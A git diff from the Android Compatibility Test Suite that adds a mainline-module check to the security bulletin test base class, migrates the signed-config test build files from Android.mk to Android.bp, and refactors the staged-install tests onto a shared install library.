--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -36,6 +36,7 @@
private long kernelStartTime;
private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+ private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
/**
* Waits for device to be online, marks the most recent boottime of the device
@@ -210,4 +211,21 @@
public HostsideOomCatcher getOomCatcher() {
return oomCatcher;
}
+
+ /**
+ * Return true if a module is play managed.
+ *
+ * Example of skipping a test based on mainline modules:
+ * <pre>
+ * @Test
+ * public void testPocCVE_1234_5678() throws Exception {
+ * // This will skip the test if MODULE_METADATA mainline module is play managed.
+ * assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
+ * // Do testing...
+ * }
+ * * </pre>
+ */
+ boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
+ return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
+ }
}
diff --git a/hostsidetests/signedconfig/Android.mk b/hostsidetests/signedconfig/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/hostsidetests/signedconfig/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp
new file mode 100644
index 0000000..eb00aa6
--- /dev/null
+++ b/hostsidetests/signedconfig/app/Android.bp
@@ -0,0 +1,147 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_defaults {
+ name: "CtsSignedConfigDefaults",
+ sdk_version: "current",
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
+ srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_AndroidManifest.xml",
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_instant",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_instant_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV2",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version2_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV2_instant",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version2_instant_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestApp2V1",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_package2_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestApp2V2",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version2_package2_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_badsignature",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_badsignature_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_badb64_config",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_badb64_config_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_badb64_signature",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_badb64_signature_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV3_configv1",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version3_configv1_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_debug_key",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_debug_key_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/signedconfig/app/Android.mk b/hostsidetests/signedconfig/app/Android.mk
deleted file mode 100644
index 448f785..0000000
--- a/hostsidetests/signedconfig/app/Android.mk
+++ /dev/null
@@ -1,79 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1
-LOCAL_MANIFEST_FILE := version1_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_instant
-LOCAL_MANIFEST_FILE := version1_instant_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2
-LOCAL_MANIFEST_FILE := version2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2_instant
-LOCAL_MANIFEST_FILE := version2_instant_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V1
-LOCAL_MANIFEST_FILE := version1_package2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V2
-LOCAL_MANIFEST_FILE := version2_package2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badsignature
-LOCAL_MANIFEST_FILE := version1_badsignature_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_config
-LOCAL_MANIFEST_FILE := version1_badb64_config_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_signature
-LOCAL_MANIFEST_FILE := version1_badb64_signature_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV3_configv1
-LOCAL_MANIFEST_FILE := version3_configv1_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_debug_key
-LOCAL_MANIFEST_FILE := version1_debug_key_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp
new file mode 100644
index 0000000..78c3b48
--- /dev/null
+++ b/hostsidetests/signedconfig/hostside/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsSignedConfigHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "tools-common-prebuilt",
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "guava",
+ "truth-prebuilt",
+ ],
+ static_libs: ["hamcrest-library"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/signedconfig/hostside/Android.mk b/hostsidetests/signedconfig/hostside/Android.mk
deleted file mode 100644
index 8f08e49..0000000
--- a/hostsidetests/signedconfig/hostside/Android.mk
+++ /dev/null
@@ -1,59 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsSignedConfigHostTestCases
-
-LOCAL_CTS_TEST_PACKAGE := android.signedconfig
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := \
- tools-common-prebuilt \
- cts-tradefed \
- tradefed \
- compatibility-host-util \
- guava \
- truth-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- hamcrest-library
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(call module-installed-files, \
- CtsSignedConfigTestAppV1 \
- CtsSignedConfigTestAppV1_instant \
- CtsSignedConfigTestAppV2 \
- CtsSignedConfigTestAppV2_instant \
- CtsSignedConfigTestApp2V1 \
- CtsSignedConfigTestApp2V2 \
- CtsSignedConfigTestAppV1_badsignature \
- CtsSignedConfigTestAppV1_badb64_config \
- CtsSignedConfigTestAppV1_badb64_signature \
- CtsSignedConfigTestAppV3_configv1 \
- CtsSignedConfigTestAppV1_debug_key \
- )
-
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/signedconfig/hostside/AndroidTest.xml b/hostsidetests/signedconfig/hostside/AndroidTest.xml
index 61b88e3..0a67693 100644
--- a/hostsidetests/signedconfig/hostside/AndroidTest.xml
+++ b/hostsidetests/signedconfig/hostside/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 01bb8be..b777cc3 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -32,7 +32,8 @@
test_suites: [
"cts",
- "general-tests"
+ "general-tests",
+ "mts",
],
}
@@ -52,46 +53,20 @@
":StagedInstallTestApexV2_WithPreInstallHook",
":StagedInstallTestApexV2_WrongSha",
":StagedInstallTestApexV3",
- ":StagedInstallTestAppAv1",
- ":StagedInstallTestAppAv2",
- ":StagedInstallTestAppBv1",
":StagedInstallTestAppSamePackageNameAsApex",
],
static_libs: [
"androidx.test.runner",
"androidx.test.core",
"truth-prebuilt",
+ "cts-install-lib",
],
- sdk_version: "system_current",
+ sdk_version: "test_current",
test_suites: ["device-tests"],
}
android_test_helper_app {
- name: "StagedInstallTestAppAv1",
-
- srcs: ["testdata/apk/src/**/*java"],
-
- manifest: "testdata/apk/Av1.xml",
-}
-
-android_test_helper_app {
- name: "StagedInstallTestAppAv2",
-
- srcs: ["testdata/apk/src/**/*java"],
-
- manifest: "testdata/apk/Av2.xml",
-}
-
-android_test_helper_app {
- name: "StagedInstallTestAppBv1",
-
- srcs: ["testdata/apk/src/**/*java"],
-
- manifest: "testdata/apk/Bv1.xml",
-}
-
-android_test_helper_app {
name: "StagedInstallTestAppSamePackageNameAsApex",
srcs: ["testdata/apk/src/**/*java"],
diff --git a/hostsidetests/stagedinstall/AndroidTest.xml b/hostsidetests/stagedinstall/AndroidTest.xml
index ad944b0..64d7495 100644
--- a/hostsidetests/stagedinstall/AndroidTest.xml
+++ b/hostsidetests/stagedinstall/AndroidTest.xml
@@ -24,10 +24,10 @@
<option name="test-file-name" value="StagedInstallTest.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="pm uninstall com.android.tests.stagedinstall.testapp.A" />
- <option name="run-command" value="pm uninstall com.android.tests.stagedinstall.testapp.B" />
- <option name="teardown-command" value="pm uninstall com.android.tests.stagedinstall.testapp.A" />
- <option name="teardown-command" value="pm uninstall com.android.tests.stagedinstall.testapp.B" />
+ <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+ <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+ <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+ <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
</target_preparer>
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="com.android.tests.stagedinstall.host.StagedInstallTest" />
diff --git a/hostsidetests/stagedinstall/TEST_MAPPING b/hostsidetests/stagedinstall/TEST_MAPPING
index c487fa3..8a1c753 100644
--- a/hostsidetests/stagedinstall/TEST_MAPPING
+++ b/hostsidetests/stagedinstall/TEST_MAPPING
@@ -1,6 +1,16 @@
{
"presubmit": [
{
+ "name": "CtsStagedInstallHostTestCases",
+ "options": [
+ {
+ "exclude-annotation": "android.platform.test.annotations.LargeTest"
+ }
+ ]
+ }
+ ],
+ "postsubmit": [
+ {
"name": "CtsStagedInstallHostTestCases"
}
]
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index c327b79..51c2ec4 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
package="com.android.tests.stagedinstall" >
<application>
- <receiver android:name="com.android.tests.stagedinstall.LocalIntentSender"
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
android:exported="true" />
<receiver android:name="com.android.tests.stagedinstall.SessionUpdateBroadcastReceiver">
<intent-filter>
@@ -32,4 +32,4 @@
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.tests.stagedinstall"
android:label="StagedInstall Test"/>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index f9c4ba8..c36c4f7 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -21,22 +21,22 @@
import static com.google.common.truth.Truth.assertThat;
import android.Manifest;
-import android.content.Context;
import android.content.Intent;
-import android.content.pm.PackageInfo;
import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
-import java.io.InputStream;
-import java.io.OutputStream;
import java.util.concurrent.TimeUnit;
/**
@@ -120,63 +120,17 @@
@Test
public void testInstallRejected_VerifyPostReboot() throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- }
-
- private static PackageInstaller getPackageInstaller() {
- return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
- .getPackageInstaller();
- }
-
- private static long getInstalledVersion(String packageName) {
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- PackageManager pm = context.getPackageManager();
- try {
- PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
- return info.getLongVersionCode();
- } catch (PackageManager.NameNotFoundException e) {
- return -1;
- }
+ assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
}
private static int stageApex(String apexFileName) throws Exception {
- PackageInstaller installer = getPackageInstaller();
-
- PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
- PackageInstaller.SessionParams.MODE_FULL_INSTALL);
- params.setInstallAsApex();
- params.setStaged();
- int sessionId = installer.createSession(params);
- PackageInstaller.Session session = installer.openSession(sessionId);
- writeApex(session, apexFileName);
+ TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+ true, apexFileName);
+ int sessionId = Install.single(apexTestApp).setStaged().createSession();
+ PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
session.commit(LocalIntentSender.getIntentSender());
Intent result = LocalIntentSender.getIntentSenderResult();
- assertStatusSuccess(result);
+ InstallUtils.assertStatusSuccess(result);
return sessionId;
}
-
- private static void writeApex(PackageInstaller.Session session, String apkFileName)
- throws Exception {
- try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
- InputStream is =
- ApexShimValidationTest.class.getClassLoader().getResourceAsStream(
- apkFileName)) {
- byte[] buffer = new byte[4096];
- int n;
- while ((n = is.read(buffer)) >= 0) {
- packageInSession.write(buffer, 0, n);
- }
- }
- }
-
- private static void assertStatusSuccess(Intent result) {
- int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
- PackageInstaller.STATUS_FAILURE);
- if (status == -1) {
- throw new AssertionError("PENDING USER ACTION");
- } else if (status > 0) {
- String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
- throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
- }
- }
}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 968960a..6aa8be6 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -16,6 +16,7 @@
package com.android.tests.stagedinstall;
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
import static com.android.tests.stagedinstall.PackageInstallerSessionInfoSubject.assertThat;
import static com.google.common.truth.Truth.assertThat;
@@ -32,10 +33,15 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
-import android.util.Pair;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -47,6 +53,7 @@
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
+import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.file.Files;
@@ -82,12 +89,6 @@
private static final String TAG = "StagedInstallTest";
- private static final String TEST_APP_A = "com.android.tests.stagedinstall.testapp.A";
- private static final String TEST_APP_B = "com.android.tests.stagedinstall.testapp.B";
- private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
- private static final String NOT_PRE_INSTALLED_SHIM_APEX_PACKAGE_NAME =
- "com.android.apex.cts.shim_not_pre_installed";
-
private File mTestStateFile = new File(
InstrumentationRegistry.getInstrumentation().getContext().getFilesDir(),
"ctsstagedinstall_state");
@@ -95,6 +96,10 @@
private static final Duration WAIT_FOR_SESSION_REMOVED_TTL = Duration.ofSeconds(10);
private static final Duration SLEEP_DURATION = Duration.ofMillis(200);
+ private static final TestApp TESTAPP_SAME_NAME_AS_APEX = new TestApp(
+ "TestAppSamePackageNameAsApex", "com.android.apex.cts.shim", 1, /*isApex*/ false,
+ "StagedInstallTestAppSamePackageNameAsApex.apk");
+
@Before
public void adoptShellPermissions() {
InstrumentationRegistry
@@ -133,8 +138,7 @@
Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
}
}
- uninstall(TEST_APP_A);
- uninstall(TEST_APP_B);
+ Uninstall.packages(TestApp.A, TestApp.B);
Files.deleteIfExists(mTestStateFile.toPath());
}
@@ -156,20 +160,19 @@
@Test
public void testInstallStagedApk_Commit() throws Exception {
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
}
@Test
public void testInstallStagedApk_VerifyPostReboot() throws Exception {
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
}
@Test
@@ -184,83 +187,91 @@
@Test
public void testInstallMultipleStagedApks_Commit() throws Exception {
- int sessionId = stageMultipleApks(
- "StagedInstallTestAppAv1.apk",
- "StagedInstallTestAppBv1.apk")
+ int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
.assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
}
@Test
public void testInstallMultipleStagedApks_VerifyPostReboot() throws Exception {
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
- assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
}
@Test
public void testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage()
throws Exception {
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageSingleApk("StagedInstallTestAppAv1.apk");
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
assertThat(failedSessionResult.getErrorMessage()).contains(
"There is already in-progress committed staged session");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following line after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
getPackageInstaller().abandonSession(sessionId);
}
@Test
public void testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage()
throws Exception {
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageMultipleApks(
- "StagedInstallTestAppAv1.apk",
- "StagedInstallTestAppBv1.apk");
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A1, TestApp.B1);
assertThat(failedSessionResult.getErrorMessage()).contains(
"There is already in-progress committed staged session");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following line after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
getPackageInstaller().abandonSession(sessionId);
}
@Test
public void testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage()
throws Exception {
- int sessionId = stageMultipleApks(
- "StagedInstallTestAppAv1.apk",
- "StagedInstallTestAppBv1.apk").assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageSingleApk(
- "StagedInstallTestAppAv1.apk");
+ int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
+ .assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
assertThat(failedSessionResult.getErrorMessage()).contains(
"There is already in-progress committed staged session");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following line after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
getPackageInstaller().abandonSession(sessionId);
}
@Test
public void testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage()
throws Exception {
- int sessionId = stageMultipleApks(
- "StagedInstallTestAppAv1.apk",
- "StagedInstallTestAppBv1.apk").assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageMultipleApks(
- "StagedInstallTestAppAv1.apk",
- "StagedInstallTestAppBv1.apk");
+ int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
+ .assertSuccessful().getSessionId();
+ StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A1, TestApp.B1);
assertThat(failedSessionResult.getErrorMessage()).contains(
"There is already in-progress committed staged session");
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following line after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
getPackageInstaller().abandonSession(sessionId);
}
@Test
public void testAbandonStagedApkBeforeReboot_CommitAndAbandon() throws Exception {
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
waitForIsReadyBroadcast(sessionId);
PackageInstaller.SessionInfo session = getStagedSessionInfo(sessionId);
assertSessionReady(sessionId);
@@ -287,16 +298,20 @@
@Test
public void testAbandonStagedApkBeforeReboot_VerifyPostReboot() throws Exception {
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
}
@Test
public void testGetActiveStagedSession() throws Exception {
PackageInstaller packageInstaller = getPackageInstaller();
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
PackageInstaller.SessionInfo session = packageInstaller.getActiveStagedSession();
assertThat(session.getSessionId()).isEqualTo(sessionId);
